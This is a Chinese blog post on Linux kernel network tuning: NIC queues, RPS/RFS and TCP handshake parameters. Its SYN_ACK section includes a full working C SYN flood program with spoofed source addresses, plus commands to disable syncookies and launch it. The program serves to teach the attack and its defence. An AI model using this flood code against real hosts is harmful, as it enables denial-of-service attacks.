这篇文章,将会从网络原理开始,一直到 Linux Kernel 的相关配置对于网络性能的影响,算是一个偏整体的知识学习
文章非常长,这里将大纲列出来
- 网卡收发包队列技术优化
- 单网卡队列 RPS / RFS 原理
- TCP Socket 建立连接相关内核参数优化
- TCP 连接拥塞控制相关内核参数优化
- TCP 拥塞控制算法 - BBRv2 原理
- TCP 显式拥塞通知 ECN 算法原理
- TCP 快速启动解决方案
概念梳理
学习过程中可能会碰到非常多的概念和术语,在此先对这些进行一个梳理,也算是一个复习
中断和软中断
首先我们需要对中断和软中断有个起码的认知,中断一般是指硬件中断,多由系统自身或与之链接的外设(如键盘、鼠标、网卡等)产生,中断首先是处理器提供的一种响应外设请求的机制,是处理器硬件支持的特性,一个外设通过产生一种电信号通知中断控制器,中断控制器再向处理器发送相应的信号。处理器检测到了这个信号后就会打断自己当前正在做的工作,转而去处理这次中断。而内核收到信号后会调用一个称为中断处理程序(interrupt handler)或中断服务例程(interrupt service routine)的特定程序。中断处理程序或中断服务例程可以在中断向量表中找到,这个中断向量表位于内存中的固定地址中。CPU处理中断后,就会恢复执行之前被中断的程序。
整个流程可以归纳为:硬件设备 (产生中断)-> 中断控制器(通知) -> CPU -> 中断内核 -> do_IRQ() -> handler_IRQ_event -> 中断控制器(收到恢复通知)-> IRQ_exit
现在我们对于基本的中断有了个理解,从实际场景来说中断请求的处理程序应该要短且快,这样才能减少对正常进程运行调度地影响,而且中断处理程序可能会暂时关闭中断,这时如果中断处理程序执行时间过长,可能在还未执行完中断处理程序前,会丢失当前其他设备的中断请求。
所以 Linux 系统为了解决中断处理程序执行过长和中断丢失的问题,将中断过程分成了两个阶段,分别是 上半部分
和 下半部分
- 上半部用来快速处理中断,一般会暂时关闭中断请求,主要负责处理跟硬件紧密相关或者时间敏感的事情。
- 下半部用来延迟处理上半部未完成的工作,一般以
内核线程
的方式运行。
例如网卡收包这里,网卡收到网络包后,会通过硬件中断通知内核有新的数据到了,于是内核就会调用对应的中断处理程序来响应该事件,这个事件的处理也是会分成上半部和下半部。
上部分要做到快速处理,所以只要把网卡的数据读到内存中,然后更新一下硬件寄存器的状态,比如把状态更新为表示数据已经读到内存中的状态值。接着,内核会触发一个软中断,把一些处理比较耗时且复杂的事情,交给「软中断处理程序」去做,也就是中断的下半部,其主要是需要从内存中找到网络数据,再按照网络协议栈,对网络数据进行逐层解析和处理,最后把数据送给应用程序。
所以,中断处理程序的上部分和下半部可以理解为:
- 上半部直接处理硬件请求,也就是硬中断,主要是负责耗时短的工作,特点是快速执行
- 下半部是由内核触发,也就说软中断,主要是负责上半部未完成的工作,通常都是耗时比较长的事情,特点是延迟执行
网卡收发过程
网卡的收发其实重点应该在中断的下半部,我们一拍脑袋,想到接收数据包的一个经典过程:
- 数据到达网卡
- 网卡产生一个中断给内核
- 内核使用I/O指令,从网卡I/O区域中去读取数据
但是这种方法有一个很大的问题,就是当大流量数据到来时候,网卡会产生大量的中断,内核在处理中断上下文中,会浪费大量资源来处理中断本身。所以,NAPI 技术被提出来,所谓的 NAPI 技术,其实就是先将内核屏蔽,然后每隔一段时间去轮询网卡是否有数据。不过相应的,如果数据量少,轮询本身也会占用大量不必要的 CPU 资源,所以需要进行抉择判断。
- 首先,内核在主内存中为收发数据建立一个环形的缓冲队列(通常也叫 DMA 环形缓冲区)
- 内核将这个缓冲区通过 DMA 映射,把这个队列交给网卡
- 网卡收到数据,将会直接放到这个环形缓冲区,也就是直接放进主内存中了,然后向系统产生一个中断
- 内核收到这个中断,将会取消 DMA 映射,这样内核就直接从主内存中读取了数据
剩下的处理和操作数据包的工作就会交给软中断。高负载的网卡是软中断产生的大户,很容易形成瓶颈。
网卡多队列
NAPI 技术可以很好地与现在常见的 1 Gbps 网卡配合使用。但是,对于 10Gbps、20Gbps 甚至 40Gbps 的网卡,NAPI 可能还不够。如果我们仍然使用一个 CPU 和一个队列来接收数据包,这些卡将需要更快的 CPU。那我们换一个思路,如果不拘泥于单个 CPU 进行队列处理呢,要知道一直以来都是 CPU0 进行绑定到网卡队列,导致这个核心的负载会异常高。
网卡多队列技术既然适用于高流量的情况,我们首先想到的常见肯定就是云服务了,例如阿里云 ECS 和 NAS 中间,肯定不是通过物理总线进行连接的,走的都是网口(所以购买的时候能看到有的实例包含网络增强选项),这种情况下,如果发现瓶颈达不到厂商宣称的交换速率,也可以先看看自己的服务器配置。
网卡多队列是一种技术手段,可以解决网络 I/O 带宽 QoS(Quality of Service)问题。网卡多队列驱动将各个队列通过中断绑定到不同的核上,从而解决网络 I/O 带宽升高时单核 CPU 的处理瓶颈,提升网络 PPS 和带宽性能。经测试,在相同的网络 PPS 和网络带宽的条件下,与 1 个队列相比,2 个队列最多可提升性能达 50% 到 100%,4 个队列的性能提升更大。
— 蚂蚁金服技术文档
查看与开启多队列
找到主网卡,我这里使用的是虚拟机,如果是云服务器的话,可能是 eth0
$ sudo apt install net-tools
$ ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.224.128 netmask 255.255.255.0 broadcast 192.168.224.255
inet6 fe80::20c:29ff:fe06:a416 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:06:a4:16 txqueuelen 1000 (Ethernet)
RX packets 158259 bytes 218502852 (218.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8623 bytes 631838 (631.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 162 bytes 15628 (15.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 162 bytes 15628 (15.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
注意,不是所有网卡驱动都支持这个操作。如果你的网卡不支持,会看到如下类似的错误
$ ethtool -l ens33
Channel parameters for ens33:
Cannot get device channel parameters
: Operation not supported
这意味着驱动没有实现 ethtool 的 get_channels 方法。可能的原因包括:该网卡不支持调整 RX queue 数量,不支持 RSS/multiqueue,或者驱动没有更新来支持此功能。
而正常的命令结果应该为(一台2C2G的云服务器), 如果返回信息中,两个 Combined 字段取值相同,则表示弹性网卡已开启支持多队列。
$ ethtool -l eth0
Channel parameters for eth0:
Pre-set maximums:
RX: 0
TX: 0
Other: 0
Combined: 2 # 表示最多支持设置2个队列
Current hardware settings:
RX: 0
TX: 0
Other: 0
Combined: 1 # 表示当前生效的是1个队列
设置多队列均匀分布流量
$ ethtool -L eth0 combined 2
combined unmodified, ignoring
no channel parameters changed.
current values: rx 0 tx 0 other 0 combined 2
$ ethtool -l eth0
Channel parameters for eth0:
Pre-set maximums:
RX: 0
TX: 0
Other: 0
Combined: 2
Current hardware settings:
RX: 0
TX: 0
Other: 0
Combined: 2
硬件队列和软件队列
路由器或者交换机的数据发送,必须依赖于队列(queue),它首先是将数据存储在内存中,如果当前的发送接口不繁忙,那么它将转发数据包,如果当前的接口繁忙,那么网络设备会将数据包暂存于内存中,直到接口空闲才发送数据包,为了更科学的管理和优先内存中的数据包,IOS 建立了排队这个概念。最基本的原则就是先进先出(FIFO),即排前面的数据包会被优先转发,排后面的数据包将直到它前面的包被发送后才会被转发,而且队列是有长度限制的,所以当排队的数据达到队列长度的限制时,那么数据包将被丢弃(不允许排队)。
队列中存放的并不是真实的数据,所以数据包本身的大小并不影响队列的长度,换而言之,一个 1500Bytes 的数据包和一个 10K 的数据包在队列里面的概念是一样的,这完全就是一种链表,队列中只保存着一个名为 “数据指针” 的概念,而真正的数据都被存储在缓冲区的堆栈中,数据指针仅仅用来申明数据在堆栈中的位置。
而如果使用单一的 FIFO 队列,那么将会缺失一项很重要的功能 - Qos,不能获得优先调度哪些数据转发的能力,要知道 Qos 功能能影响到数据的延迟、抖动、丢弃等因素。这个 FIFO 队列的长度,决定了数据何时被 尾部丢弃
,即当数据到达最大长度后,后面抵达的数据包将直接被丢弃,而如果一味地增加队列长度,想减少被丢弃的可能性,也会造成数据包传输的平均延迟的加大。
- 较长的队列相较于较短的队列,数据被
尾部丢弃
可能性降低,但是延迟和抖动会加大 - 较短的队列相较于较长的队列,数据的
尾部丢弃
可能性会增加,但是延迟和抖动会下降 - 如果产生了持续的拥塞,无论队列是长或者短,数据都会被丢弃
Ring
在输出队列(通常指示为软件队列,RP Ring)中的数据包并不是直接送到一个输出接口进行转发,而是将数据包从一个输出队列传送到另一个更小的输出队列(通常指示为硬件队列,TX Ring),然后再从这个更小的输出队列进行转发,这种行为叫 Separate
通常,硬件队列没有被充满时或者为空时,这说明网络中没有发生拥塞,所以数据被直接传送入硬件队列,而不会再被放入软件队列排队,也就说此时不会使用软件队列,如果硬件队列被充满,那么后继到来的数据包将被放入软件队列排队,硬件队列是不支持 Qos 工具的,而软件队列支持 Qos 工具。
硬件队列的实现完全依赖于路由器的硬件模块选用 TX Queue 还是 Transmit TX Ring(想起了当初学路由用 GNS3 做的实验),但是在链路中,我们可以将其等同化,通常硬件队列的长度很小,这就意味着一件事,路由能快速的转发硬件队列中的数据,而且硬件队列的转发不依赖于通过 CPU 而被关联到每一个物理接口上的 ASIC,所以即便是路由器的 CPU 工作负荷很重,硬件队列也可以快速的发送数据,而不需要去等待 CPU 做中断处理的时间延迟。但是硬件队列永远都是遵守 FIFO 原则,它是不可以使用 Qos 的队列工具来进行管理的,每个物理接口上都有一个且仅有一个硬件队列。
而软件队列会存在多种类型(多种机制)和多个数量的队列,然后调度器将决定先将那个软件队列的数据调度进入硬件队列,比如软件队列 1 的数据是最重要且紧急的,那么可以优先调度软件队列 1 的数据进入硬件队列,然后硬件队列将数据直接交给接口转发,其实通过这个逻辑不难看出 — 软件队列是可以被管理的,每一个接口都有一个且仅有一个硬件队列,硬件队列永远是使用 FIFO 机制,且不可以被队列工具管理
RPS / RFS
我们现在简单地阐释了路由层面的网卡队列技术,和服务器层面的网卡多队列技术,对于多队列网卡,针对网卡硬件接收队列与 CPU 核数在数量上不匹配导致报文在 CPU 之间分配不均这个问题,Google 的工程师提供的 RPS / RFS 两个补丁,它们运行在单队列网卡,可以在软件层面将报文平均分配到多个 CPU 上
原理
RPS 把软中断的负载均衡到各个 CPU,是在单个 CPU 将数据从 Ring Buffer 取出来之后开始工作,网卡驱动通过四元组(源 ip、源端口、目的 ip 和目的端口)生成一个hash值,然后根据这个hash值分配到对应的CPU上处理,从而发挥多核的能力
但是还有个问题,由于 RPS 只是把数据包均衡到不同的 CPU,但是收包的应用程序和软中断处理不一定是在同一个 CPU,这样对于 CPU Cache 的影响会很大。因此就出现 RFS,它确保应用程序和软中断处理的 CPU 是同一个,从而能充分利用 CPU 的 Cache,这两个补丁往往都是一起设置,以达到最好的优化效果
配置
现在我们以一台多核 CPU,不支持多网卡队列技术的服务器进行实验(Linux Kernel >= 2.6.35),ip 为 192.168.224.128
RPS 的基本思想是根据每个队列的 rps_map 将同一流的数据包发送到特定的 CPU。这是 rps_map 的结构:映射根据 CPU 位掩码动态更改为/sys/class/net/{interface}/queues/rx-/rps_cpus。比如我们要让队列使用前3个CPU,在8个CPU的系统中,我们先构造位掩码 0 0 0 0 0 1 1 1
,得到 0x7
# 不支持网卡多队列技术
$ ethtool -l ens33
Channel parameters for ens33:
Pre-set maximums:
RX: 0
TX: 0
Other: 0
Combined: 1
Current hardware settings:
RX: 0
TX: 0
Other: 0
Combined: 1
$ cat /sys/class/net/ens33/queues/rx-0/rps_cpus
00000000,00000000,00000000,00000000 # 代表未开启 RPS 功能
# 安装测试工具(可选)
$ sudo apt-get install netperf sysstat
$ echo 7 | sudo tee -a /sys/class/net/ens33/queues/rx-0/rps_cpus
$ cat /sys/class/net/ens33/queues/rx-0/rps_cpus
00000000,00000000,00000000,00000007
期间,我们开启另外一个终端进行测试,注意观察 idle
字段,越低代表 CPU 负载越低(空闲),netperf
是压测程序,注意分开运行
先开启接收客户端
$ netserver -p 3030
Starting netserver with host 'IN(6)ADDR_ANY' port '3030' and family AF_UNSPEC
未开启 RPS,负载压到 CPU 0 上
此时网卡吞吐量为 52617.24Mb/s
$ netperf -H 192.168.224.128 -l 60 -- -m 10240 # TEST
MIGRATED TCP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.224.128 () port 0 AF_INET : demo
Recv Send Send
Socket Socket Message Elapsed
Size Size Size Time Throughput
bytes bytes bytes secs. 10^6bits/sec
131072 16384 10240 60.00 52617.24
$ mpstat -P ALL 5 # Monitor
10:56:34 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
10:56:44 AM all 0.48 0.00 12.33 0.00 0.00 2.03 0.00 0.00 0.00 85.16
10:56:44 AM 0 2.09 0.00 46.44 0.00 0.00 5.44 0.00 0.00 0.00 46.03
10:56:44 AM 1 0.00 0.00 8.46 0.00 0.00 0.78 0.00 0.00 0.00 90.76
10:56:44 AM 2 0.40 0.00 8.31 0.00 0.00 5.34 0.00 0.00 0.00 85.95
10:56:44 AM 3 0.11 0.00 3.56 0.00 0.00 0.54 0.00 0.00 0.00 95.79
10:56:44 AM 4 0.24 0.00 7.09 0.00 0.00 1.22 0.00 0.00 0.00 91.44
10:56:44 AM 5 0.00 0.00 0.52 0.00 0.00 0.00 0.00 0.00 0.00 99.48
10:56:44 AM 6 0.86 0.00 21.94 0.00 0.00 2.26 0.00 0.00 0.00 74.95
10:56:44 AM 7 0.00 0.00 0.54 0.00 0.00 0.00 0.00 0.00 0.00 99.46
开启 RPS 后,负载压到了 0-2 号核心上
这里吞吐没有提升的原因,是因为单队列已经到达内存读写的极限了(本地压测),我们只需要关注 CPU 负载被分摊的现象即可
$ netperf -H 192.168.224.128 -l 60 -- -m 10240
MIGRATED TCP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.224.128 () port 0 AF_INET : demo
Recv Send Send
Socket Socket Message Elapsed
Size Size Size Time Throughput
bytes bytes bytes secs. 10^6bits/sec
131072 16384 10240 60.00 52269.50
11:11:00 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
11:11:10 AM all 0.56 0.00 12.42 0.00 0.00 1.68 0.00 0.00 0.00 85.33
11:11:10 AM 0 0.89 0.00 25.72 0.00 0.00 4.57 0.00 0.00 0.00 68.82
11:11:10 AM 1 0.00 0.00 1.68 0.00 0.00 0.13 0.00 0.00 0.00 98.20
11:11:10 AM 2 2.50 0.00 51.75 0.00 0.00 6.19 0.00 0.00 0.00 39.56
11:11:10 AM 3 0.00 0.00 3.34 0.00 0.00 0.30 0.00 0.00 0.00 96.35
11:11:10 AM 4 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00
11:11:10 AM 5 0.00 0.00 1.12 0.00 0.00 0.00 0.00 0.00 0.00 98.88
11:11:10 AM 6 0.70 0.00 7.34 0.00 0.00 1.11 0.00 0.00 0.00 90.85
11:11:10 AM 7 0.00 0.00 0.75 0.00 0.00 0.00 0.00 0.00 0.00 99.25
TCP/IP 的拥塞控制
看完底层的 DMA 区域队列的设计原理和优化后,我们把目光转向 TCP/IP 协议本身,也就是传输链路上
下面的代码表述一个 Socket 的建立分别经过 connect()
-> listen()
-> accept()
这个过程,对于每一位学习网络的人来说应该都是基础了
int main()
{
int sockfd, connfd, len;
struct sockaddr_in servaddr, cli;
// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed...\n");
exit(0);
}
else
printf("Socket successfully created..\n");
bzero(&servaddr, sizeof(servaddr));
// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(PORT);
// Binding newly created socket to given IP and verification
if ((bind(sockfd, (SA*)&servaddr, sizeof(servaddr))) != 0) {
printf("socket bind failed...\n");
exit(0);
}
else
printf("Socket successfully binded..\n");
// Now server is ready to listen and verification
if ((listen(sockfd, 5)) != 0) {
printf("Listen failed...\n");
exit(0);
}
else
printf("Server listening..\n");
len = sizeof(cli);
// Accept the data packet from client and verification
connfd = accept(sockfd, (SA*)&cli, &len);
if (connfd < 0) {
printf("server accept failed...\n");
exit(0);
}
else
printf("server accept the client...\n");
// Function for chatting between client and server
func(connfd);
// After chatting close the socket
close(sockfd);
}
那么,有没有想过这个这个过程中,每个环节分别都涉及到什么 Kernel 参数呢?
握手环节:Client(SYN, connect)-> Server(SYN_ACK, listen)-> Client -> Server(ACK, accept)
SYN
作为第一次握手,也是 Client 向 Server 主动发起请求的环节,涉及到的内核参数为:
- tcp_syn_retries:
缺省值为 6
,首先 Client 会给 Server 发送一个 SYN 包,但是该 SYN 包可能会在传输过程中丢失,或者因为其他原因导致 Server 无法处理,此时 Client 这一侧就会触发超时重传机制。但是也不能一直重传下去,重传的次数也是有限制的,这就是 tcp_syn_retries 这个配置项来决定的。
假设 tcp_syn_retries 为 3,那么 SYN 包重传的策略大致如下:
tcp_syn_retries = 3
Client Connect()
no.1 SYN -> NORECV
no.2 SYN -> NORECV
no.3 SYN -> NORECV
failed resuilt : ETIMEOUT
这个参数最直接能影响到存活检测这种场景,默认为 6 的情况下,如果 SYN 一直发送失败,会在(1 + 2 + 4 + 8 + 16 + 32 + 64)秒,即 127 秒后产生 ETIMEOUT 的错误,如果 Server 因为某些原因被下线,但是 Client 没有被通知到,而 Client 的 connect() 被阻塞 127s 才收到 ETIMEOUT 去尝试连接一个新的 Server, 这么长的超时等待时间对于应用程序而言是很难接受的
所以通常情况下,我们都会将数据中心内部服务器的 tcp_syn_retries 给调小,这里推荐设置为 2,来减少阻塞的时间。因为对于数据中心而言,它的网络质量是很好的,如果得不到 Server 的响应,很可能是 Server 本身出了问题。在这种情况下,Client 及早地去尝试连接其他的 Server 会是一个比较好的选择,如果是跨主机集群,这个选项也需要注意
SYN_ACK
这个环节是 Server 接收来自 Client 的请求, 这里就提到了一个 SYN Flood 攻击,通过发送大量的 SYN 报文,并且这个 SYN 包的源 IP 地址不停地变换,那么 Server 每次接收到一个新的 SYN 后,都会给它分配一个半连接,Server 的 SYN_ACK 根据之前的 SYN 包找到的是错误的 Client IP, 所以也就无法收到 Client 的 ACK 包,导致无法正确建立 TCP 连接,这就会让 Server 的半连接队列耗尽,无法响应正常的 SYN 包,造成类似被 DDOS 攻击的危害
下面给出了一个用 C 写的 SYN Flood 小 Demo,用于了解攻击原理,同时也可以自己本地做一下实验
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <time.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdint.h>
typedef int8_t i8;
typedef int16_t i16;
typedef int32_t i32;
typedef int64_t i64;
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
struct pseudo_header
{
u32 source_address;
u32 dest_address;
u8 placeholder;
u8 protocol;
u16 tcp_length;
struct tcphdr tcp;
};
u16 checksum(u16 *ptr, u32 nbytes) {
u64 sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
sum += *(u8*)ptr;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (u16)~sum;
}
const u8* construct_packet(in_addr_t saddr, in_addr_t daddr) {
#define PKT_LEN 4096
static u8 pkt[PKT_LEN];
//IP header
struct iphdr *iph = (struct iphdr *) pkt;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (pkt + sizeof (struct ip));
//Pseudo header
struct pseudo_header psh;
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htons(37654);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->saddr = saddr;
iph->daddr = daddr;
iph->check = 0; // ip header checksum may be ignored
//TCP Header
tcph->source = htons(1234);
tcph->dest = htons(80);
tcph->seq = (u32)random();
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(1000);
tcph->check = 0;
tcph->urg_ptr = 0;
//Fill in the Pseudo Header
psh.source_address = saddr;
psh.dest_address = daddr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp, tcph, sizeof (struct tcphdr));
tcph->check = checksum((u16*)&psh, sizeof(struct pseudo_header));
return pkt;
}
int main(int argc, char *argv[]) {
in_addr_t daddr = 0;
if (argc > 1) {
printf("Dest addr: %s:80\n", argv[1]);
daddr = inet_addr(argv[1]);
} else {
puts("args not found");
exit(0);
}
srandom((u32)time(NULL));
in_addr_t saddr = htonl((u32)random());
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = daddr;
u16 tot_len = sizeof(struct ip) + sizeof(struct tcphdr);
const u8* pkt = NULL;
i32 s = 0;
i8 on = 1;
for (;;) {
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL,
(i8*)&on, sizeof(on)) == -1)
{
printf("[setsockopt] can't set IP_HDRINCL option\n");
}
pkt = construct_packet(saddr, daddr);
//Send the packet
if (sendto(s, pkt, tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
{
// Not a fatal error
}
saddr = htonl((u32)random());
close(s);
}
return 0;
}
编译并运行
$ sudo apt install nginx gcc
$ sysctl -w net.ipv4.tcp_syncookies=0 # 关闭保护机制
$ gcc sync_flood.c
$ ./a.out 192.168.224.128
可以运行命令 netstat -an | grep 80
,查看该端口的链接数量
$ netstat -an | grep 80
...
tcp 0 0 192.168.224.128:80 0.188.158.121:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.67.85.160:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.86.205.149:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.70.135.193:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.96.80.205:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.253.86.158:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.47.101.135:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.231.102.115:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.252.30.255:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.149.192.180:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.5.59.107:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.137.67.175:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.175.34.131:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.4.238.211:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.235.89.53:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.174.167.135:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.64.151.124:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.61.137.110:1234 SYN_RECV
tcp 0 0 192.168.224.128:80 0.108.110.196:1234 SYN_RECV
...
$ netstat -an | grep 80 | wc -l
393
为了防止 SYN Flood 攻击,Linux 内核引入了 SYN Cookies 机制。在 Server 收到 SYN 包时,不去分配资源来保存 Client 的信息,而是根据这个 SYN 包计算出一个 Cookie 值,然后将 Cookie 记录到 SYNACK 包中发送出去。对于正常的连接,该 Cookies 值会随着 Client 的 ACK 报文被带回来。然后 Server 再根据这个 Cookie 检查这个 ACK 包的合法性,如果合法,才去创建新的 TCP 连接。通过这种处理,SYN Cookies 可以防止部分 SYN Flood 攻击。所以对于 Linux 服务器而言,推荐开启 SYN Cookies net.ipv4.tcp_syncookies = 1
ACK
在完成前两个环节后,终于来到了全连接队列(Accept Queue)了,全连接队列的长度是由 listen(sockfd, backlog)
中的 backlog
控制的,而该 backlog
的最大值则是 somaxconn
,该值在 5.4 之前的内核中,默认都是 128(5.4 开始调整为了默认 4096),建议将该值适当调大一些,net.core.somaxconn = 16384
当服务器中积压的全连接个数超过该值后,新的全连接就会被丢弃掉。Server 在将新连接丢弃时,有的时候需要发送 reset 来通知 Client,这样 Client 就不会再次重试了。不过,默认行为是直接丢弃不去通知 Client。至于是否需要给 Client 发送 reset,是由 tcp_abort_on_overflow
这个配置项来控制的,该值默认为 0,即不发送 reset 给 Client。推荐也是将该值配置为 net.ipv4.tcp_abort_on_overflow = 0
这是因为,Server 如果来不及 accept() 而导致全连接队列满,这往往是由瞬间有大量新建连接请求导致的,正常情况下 Server 很快就能恢复,然后 Client 再次重试后就可以建连成功了。也就是说,将 tcp_abort_on_overflow
配置为 0,给了 Client 一个重试的机会。当然,你可以根据你的实际情况来决定是否要使能该选项